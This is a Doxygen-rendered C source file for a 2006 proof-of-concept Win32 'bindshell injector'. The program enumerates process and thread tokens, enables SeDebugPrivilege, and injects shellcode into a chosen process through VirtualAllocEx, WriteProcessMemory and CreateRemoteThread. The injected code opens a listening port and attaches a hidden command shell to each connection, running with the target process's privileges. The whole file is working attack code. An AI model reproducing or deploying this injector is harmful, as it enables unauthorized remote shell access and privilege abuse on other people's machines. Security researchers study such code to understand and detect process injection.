C:/Web/pinjector/Process Injector/pinjector.c

Go to the documentation of this file.
00001 /*
00002   Static bindshell inyector for Win32 v1.0 - Proof of Concept
00003   Author: Andres Tarasco Acuņa
00004   Email:  atarasco @ 514.es - atarasco [email protected]_ sia.es 
00005   Url:    http://www.514.es
00006   Date:   February 2006
00007 
00008   Description: This tool enumerates all process and threads running and shows
00009   their Token owner information.
00010   Users with SE_DEBUG_NAME privilege should be able to inyect code on local 
00011   process and execute code with their privileges. This could be useful to
00012   obtain an intereactive shell (at port 8080) when an user session is locked.
00013 
00014   Compiler: cl /MD threads.c
00015 
00016   Greetings: goes to Iņaki Lopez aka ilo-- (http://www.reversing.org) and 514 people
00017 */
00018 
00019 #include "pinjector.h"
00020 
00021 /**************************************/
00022 int EnableDebugPriv( HANDLE proceso,LPCTSTR lpName )
00023 {
00024    HANDLE hToken;
00025    LUID DebugValue;
00026    TOKEN_PRIVILEGES tkp;
00027    
00028    if ( OpenProcessToken(proceso, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
00029    {
00030       if (LookupPrivilegeValue((LPSTR) NULL,lpName,&DebugValue))
00031       {
00032                   tkp.PrivilegeCount = 1;
00033                 tkp.Privileges[0].Luid = DebugValue;
00034            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
00035            AdjustTokenPrivileges(hToken,FALSE, &tkp,sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL);
00036            if (GetLastError() == ERROR_SUCCESS)
00037            {
00038               return TRUE;
00039            }
00040       }
00041    }
00042    return FALSE;
00043 }
00044 /****************************************************************************/
00045 void __stdcall shell(PARAMETROS *parametros) {
00046 /*
00047 Static BindShell Code..
00048 Requires KernelGetProcAddress & KernelLoadLibrary memory address to work
00049    */
00050    
00051    STARTUPINFO          si;
00052    struct               sockaddr_in sa;
00053    PROCESS_INFORMATION  pi;
00054    int                                  s,n;
00055    WSADATA              HWSAdata;
00056    
00057    //winsock
00058    parametros->WSAHandle=(HANDLE)(*parametros->KernelLoadLibrary)(parametros->wsastring);
00059    parametros->ShellWsaStartup=(WSASTARTUP)(*parametros->KernelGetProcAddress)((HINSTANCE)parametros->WSAHandle,parametros->wsastartupstring);
00060    parametros->ShellWSASocket=(WSASOCKET)(*parametros->KernelGetProcAddress)((HINSTANCE)parametros->WSAHandle,parametros->WSASocketString);
00061    parametros->ShellWsaConnect=(WSACONNECT)(*parametros->KernelGetProcAddress)((HINSTANCE)parametros->WSAHandle,parametros->WSAConnectstring);
00062    parametros->ShellBind=(BIND)(*parametros->KernelGetProcAddress)((HINSTANCE)parametros->WSAHandle,parametros->bindstring);
00063    parametros->ShellAccept=(ACCEPT)(*parametros->KernelGetProcAddress)((HINSTANCE)parametros->WSAHandle,parametros->acceptstring);
00064    parametros->ShellListen=(LISTEN)(*parametros->KernelGetProcAddress)((HINSTANCE)parametros->WSAHandle,parametros->listenstring);
00065    //kernel32
00066    parametros->KernelHandle=(HANDLE)(*parametros->KernelLoadLibrary)(parametros->kernelstring);
00067    parametros->KernelCreateProcess=(CREATEPROCESS)(*parametros->KernelGetProcAddress)((HINSTANCE)parametros->KernelHandle,parametros->CreateProcessstring);
00068    parametros->ShellWsaStartup(0x101,&HWSAdata);
00069    s=parametros->ShellWSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
00070    sa.sin_family     = AF_INET;
00071    sa.sin_port       = parametros->port;
00072    sa.sin_addr.s_addr= 0;
00073    parametros->ShellBind(s, (struct sockaddr *) &sa, 16);//parametros->sizeofsa);
00074    parametros->ShellListen(s, 1);
00075    while(1){
00076       n= parametros->ShellAccept(s,(struct sockaddr *)&sa,NULL);
00077       si.cb          = sizeof(si);
00078       si.wShowWindow = SW_HIDE;
00079       si.dwFlags     = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; // 0x101
00080       si.hStdInput   = si.hStdOutput = si.hStdError = (void *) n;
00081       si.lpDesktop = si.lpTitle = (char *) 0x0000;
00082       si.lpReserved2 = NULL;
00083       parametros->KernelCreateProcess( NULL ,parametros->cmd,NULL, NULL,TRUE, 0,NULL,NULL,(STARTUPINFO*)&si,&pi);
00084    }
00085 }
00086 /******************************************************************************/
00087 
00088 void __stdcall process_ownerII(OWNER *owner)
00089 {
00090    HANDLE tproceso;
00091    DWORD        dwLen;
00092    PSID pSid=0; // contains the owning user SID
00093    TOKEN_USER *pWork;
00094    SID_NAME_USE use=0;
00095    
00096    OpenProcessToken(OpenProcess( PROCESS_ALL_ACCESS, TRUE,owner->pid), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &tproceso);
00097    GetTokenInformation(tproceso, TokenUser, NULL, 0, &dwLen);
00098    pWork= (TOKEN_USER *)LocalAlloc( LMEM_ZEROINIT,dwLen);
00099    if (GetTokenInformation(tproceso, TokenUser, pWork, dwLen, &dwLen)) {
00100       dwLen = GetLengthSid(pWork->User.Sid);
00101       pSid= (PSID)LocalAlloc( LMEM_ZEROINIT,dwLen);
00102       CopySid(dwLen, pSid, pWork->User.Sid);
00103       dwLen=256;
00104       LookupAccountSid(NULL, pSid, &owner->username[0], &dwLen, &owner->domainname[0], &dwLen, &use);
00105    }
00106 }
00107 /****************************************************************************/
00108 
00109 
00110 
00111 void __stdcall process_owner(HANDLE htoken, char *data)
00112 {
00113 /*
00114 Extract information from a process Token and dumps owner information.
00115    */
00116    DWORD        dwLen;
00117    PSID pSid=0; // contains the owning user SID
00118    TOKEN_USER *pWork;
00119    SID_NAME_USE use;//=0;
00120    TCHAR username[256];
00121    TCHAR domainname[256];
00122    
00123    //printf(" HTOKEN: %x",&htoken);
00124    
00125    GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen);
00126    pWork= (TOKEN_USER *)LocalAlloc( LMEM_ZEROINIT,dwLen);
00127    if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen)) {
00128       dwLen = GetLengthSid(pWork->User.Sid);
00129       pSid= (PSID)LocalAlloc( LMEM_ZEROINIT,dwLen);
00130       CopySid(dwLen, pSid, pWork->User.Sid);
00131       dwLen=256;
00132       LookupAccountSid(NULL, pSid, &username[0], &dwLen, &domainname[0], &dwLen, &use);
00133       printf("%s: \\\\%s\\%s",data,domainname,username);
00134    }
00135 }
00136 /**************************************************************************/
00137 void ExtractThreadTokens( DWORD dwOwnerPID )
00138 {
00139    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
00140    THREADENTRY32 te32;
00141    
00142    if( (hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 )) != INVALID_HANDLE_VALUE )
00143    {
00144       te32.dwSize = sizeof(THREADENTRY32 );
00145       if( Thread32First( hThreadSnap, &te32 ) == TRUE)
00146       {
00147          do
00148          {
00149             if ( te32.th32OwnerProcessID == dwOwnerPID )
00150             {
00151                HANDLE hThread;
00152                hThread = OpenThread(THREAD_QUERY_INFORMATION , TRUE,te32.th32ThreadID);
00153                if (hThread!=NULL)
00154                {
00155                   HANDLE hToken;
00156                   if (OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hToken )!=0)
00157                   {
00158                      printf("   %.6i", te32.th32ThreadID );
00159                      process_owner(hToken,"");
00160                      CloseHandle(hToken);
00161                      printf("\n");
00162                   } else {
00163                      //printf("   #%.6i\n",te32.th32ThreadID );
00164                      //doFormatMessage(GetLastError());
00165                   }
00166                   CloseHandle(hThread);
00167                }
00168             }
00169          } while( Thread32Next(hThreadSnap, &te32 ) );
00170          
00171          CloseHandle( hThreadSnap );
00172          return;
00173       }
00174    }   
00175 }
00176 /**************************************************************************/
00177 void ExtractProcessTokens( void )
00178 {
00179    
00180    HANDLE hThreadSnap,SnapShot,proceso,hToken,hThread;//,phandle;
00181    PROCESSENTRY32               ProcessList;
00182    THREADENTRY32 te32; 
00183    DWORD i,tmp;
00184    
00185    
00186    SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
00187    ProcessList.dwSize=sizeof(PROCESSENTRY32);
00188    
00189    if(Process32First(SnapShot, &ProcessList) == FALSE)
00190    {
00191       CloseHandle(SnapShot);    return;
00192    }
00193    
00194    while(1)
00195    {
00196       if(Process32Next(SnapShot, &ProcessList) == FALSE)
00197       {
00198          CloseHandle(SnapShot);
00199          break;
00200       }
00201       printf("PID %6i %.20s (%3i Threads) ",ProcessList.th32ProcessID,ProcessList.szExeFile,ProcessList.cntThreads);
00202       proceso=OpenProcess(PROCESS_QUERY_INFORMATION,TRUE,ProcessList.th32ProcessID);
00203       
00204       if (proceso!=NULL)
00205       {
00206          if(OpenProcessToken(proceso, TOKEN_QUERY, &hToken))
00207          {
00208             process_owner(hToken," USER");
00209             printf("\n");
00210             CloseHandle(hToken);
00211             CloseHandle(proceso);
00212          } else
00213          {
00214             printf("\r                                                                          \r");
00215          }
00216          ExtractThreadTokens(ProcessList.th32ProcessID);
00217       } else
00218       {
00219          printf("\r                                                                          \r");
00220       }
00221    }  
00222 }
00223 /**************************************************************************/
00224 void doFormatMessage( unsigned int dwLastErr )  {
00225    char cadena[512];
00226    LPVOID lpMsgBuf;
00227    FormatMessage(
00228       FORMAT_MESSAGE_ALLOCATE_BUFFER |
00229       FORMAT_MESSAGE_IGNORE_INSERTS |
00230       FORMAT_MESSAGE_FROM_SYSTEM,
00231       NULL,
00232       dwLastErr,
00233       MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
00234       (LPTSTR) &lpMsgBuf,
00235       0,
00236       NULL );
00237    sprintf(cadena,"ERRORCODE %i: %s\n", dwLastErr, lpMsgBuf);
00238    printf("Error: %s\n",cadena);
00239    LocalFree( lpMsgBuf  );
00240 }
00241 /****************************************************************************/
00242 
00243 void usage()
00244 {
00245    wprintf(L"Usage:\n");
00246    wprintf(L" inject.exe -l                    (Enumerate Credentials)\n");
00247    wprintf(L" inject.exe -p <pid> <cmd> <port> (Inject into PID)\n");
00248    //wprintf(L" inject.exe -t <tid> <cmd> <port> (Inject into Thread)\n");
00249    exit(1);
00250 }
00251 /**************************************************************************/
00252 
00253 void main(int argc, char* argv[])
00254 {
00255 
00256    int i;
00257    BOOL list=0;
00258    BOOL PID=0;
00259    BOOL THREAD=1;
00260    
00261    /******INJECT CODE******/
00262    DWORD pid,result;
00263    HANDLE hProcess,RemoteThread;
00264    void *p=NULL;
00265    PARAMETROS parametros,*remote=NULL;
00266    DWORD MAXINJECTSIZE=4096*2;
00267    unsigned long write;
00268    OWNER owner;
00269    
00270    wprintf(L"Privilege Switcher for Win32(Private version)\n");
00271    wprintf(L"(c) 2006 Andres Tarasco - [email protected]\n\n");
00272 
00273    if (argc==1) usage();
00274    
00275    for(i=1;i<argc;i++)
00276    {
00277       if ( (strlen(argv[i]) ==2) && (argv[i][0]=='-') )
00278       {
00279          switch(argv[i][1])
00280          {
00281 
00282          case 'h':
00283          case 'H':
00284          case '?':
00285             usage();
00286             break;
00287          case 'l':
00288          case 'L':
00289             list=TRUE;
00290             break;
00291          case 't':
00292          case 'T':
00293             break;
00294          case 'p':
00295          case 'P':
00296             PID=TRUE;
00297             memset((void *)&parametros,0,sizeof(PARAMETROS));
00298             pid=atoi(argv[i+1]);
00299 
00300             strncpy(parametros.cmd,argv[i+2],sizeof(parametros.cmd)-1);
00301             parametros.port=htons((unsigned short)atoi(argv[i+3]));
00302             break;
00303          }
00304       }
00305    }
00306       EnableDebugPriv(GetCurrentProcess(),SE_DEBUG_NAME);
00307       if (list) {
00308          ExtractProcessTokens();
00309       }
00310       //    ImpersonateSelf (SecurityImpersonation);
00311       
00312       if (PID)
00313       {
00314          //Inicializamos las estructuras de datos
00315          
00316          parametros.KernelHandle=LoadLibrary("kernel32.dll");
00317          parametros.KernelLoadLibrary=(LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle,"LoadLibraryA");
00318          parametros.KernelGetProcAddress= (GETPROCADDRESS)GetProcAddress((HINSTANCE) parametros.KernelHandle, "GetProcAddress" );
00319          
00320          if ( (!parametros.KernelLoadLibrary) || (!parametros.KernelGetProcAddress))
00321          { wprintf(L"Failed to load Libraries\n");exit(-1); }
00322          
00323          //winsock
00324          strcpy(parametros.wsastring,"ws2_32.dll");
00325          strcpy(parametros.wsastartupstring,"WSAStartup");
00326          strcpy(parametros.WSASocketString,"WSASocketW");
00327          strcpy(parametros.WSAConnectstring,"WSAConnect");
00328          strcpy(parametros.bindstring,"bind");
00329          strcpy(parametros.acceptstring,"accept");
00330          strcpy(parametros.listenstring,"listen");
00331          //kernel
00332          strcpy(parametros.kernelstring,"kernel32.dll");
00333          strcpy(parametros.CreateProcessstring,"CreateProcessA");
00334          
00335          
00336          
00337          //    EnableDebugPriv();
00338          EnableDebugPriv(GetCurrentProcess(),SE_DEBUG_NAME);
00339          //memset((void*)&owner,0,sizeof(OWNER));
00340          owner.pid=pid;
00341          //    owner.pid=atoi(argv[1]);
00342          process_ownerII(&owner);
00343          
00344          printf("[+] Trying to execute %s to %i as: %s \\ %s\n",parametros.cmd,
00345             owner.pid,
00346             owner.domainname,
00347             owner.username);
00348          
00349          if ( (hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid ))!= NULL )
00350          {
00351             p = VirtualAllocEx( hProcess, 0, MAXINJECTSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
00352             remote = (PARAMETROS *)VirtualAllocEx( hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE );
00353             if ( (p!=NULL) && (remote!=NULL) )
00354             {
00355                if ( WriteProcessMemory( hProcess, p, &shell, MAXINJECTSIZE, &write )!=0 )
00356                {
00357                   if ( WriteProcessMemory( hProcess, remote, &parametros, sizeof(PARAMETROS), &write )!=0 )
00358                   {
00359                      RemoteThread=CreateRemoteThread( hProcess, 0, 0, (DWORD (__stdcall *)( void *)) p, remote, 0, &result );
00360                      if (RemoteThread)
00361                      {
00362                         wprintf(L"[+] Code inyected... ; )\n");
00363                         return;
00364                      } else
00365                      {
00366                         doFormatMessage(GetLastError());
00367                         wprintf(L"[-] failed Createremotethread\n");
00368                      }
00369                   } else
00370                   {
00371                      wprintf(L"[-] WriteMemory2 Failed\n");
00372                   }
00373                } else
00374                {
00375                   wprintf(L"[-] WriteMemory1 Failed\n");
00376                }
00377             } else
00378             {
00379                wprintf(L"[-] alloc failed\n");
00380             }
00381          } else
00382          {
00383             wprintf(L"[-] Error. Unable to open pid %i\n",pid);
00384          }
00385       }
00386       
00387       //   RevertToSelf ();
00388       //
00389 
00390    wprintf(L"\n");
00391    return;
00392    
00393 }
00394 

Generated on Fri Feb 22 12:34:08 2008 for Process Injector by  doxygen 1.5.4